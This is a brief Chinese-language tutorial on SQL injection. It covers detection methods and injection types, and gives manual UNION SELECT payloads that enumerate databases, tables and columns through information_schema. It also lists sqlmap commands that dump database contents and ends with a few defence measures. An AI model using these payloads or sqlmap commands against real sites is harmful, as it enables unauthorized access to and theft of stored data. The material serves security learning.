什么是sql
结构化查询语言(Structured Query Language),是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统;
如何去发现sql注入
a 通过web漏洞扫描器
b在参数后面添加错误语句
c大量的对参数fuzz测试
d直觉
注入分类
数字型注入 SELECT FROM users WHERE id=$id LIMIT 0,1;
字符型注入 SELECT FROM users WHERE username=‘admin' LIMIT 0,1;
注入提交方式 get post cookie http头部注入
注入方式
基于报错注入
基于布尔的盲注
基于时间的盲注
联合查询
内联查询
堆叠的查询
SQL手工注入
为什么要学习手工注入?
1.猜解字段
2.查看当前数据库
3.Union select 1,group_concat(schema_name),3 from information_schema.schemata%23 // 查询所有数据库
4.union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23 //查询数据库中的表
5.UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name = 0x7573657273%23 //查询表名中的所有字段
SQLMap工具使用
使用环境: python
http://sqlmap.org
sqlmap常用参数
- 判断注入
python sqlmap.py http://URL -v 3 - 数据库
python sqlmap.py http://URL --dbs -v 3
python sqlmap.py http://URL –current-user -v 3 - 表名
python sqlmap.py http://URL --tables -D 数据库名 -v 3 - 字段名
python sqlmap.py http://URL --column -T 表名 -D 数据库名 -v 3 - 内容
python sqlmap.py http://URL --dump -T -C 字段名 -T 表名 -D 数据库名 -v 3
post如何使用sqlmap注入
如何去防护SQL注入?
cdn隐藏真实ip地址
通过安全函数进行过滤
对数据库最小权限设置
服务器针对性的waf防火墙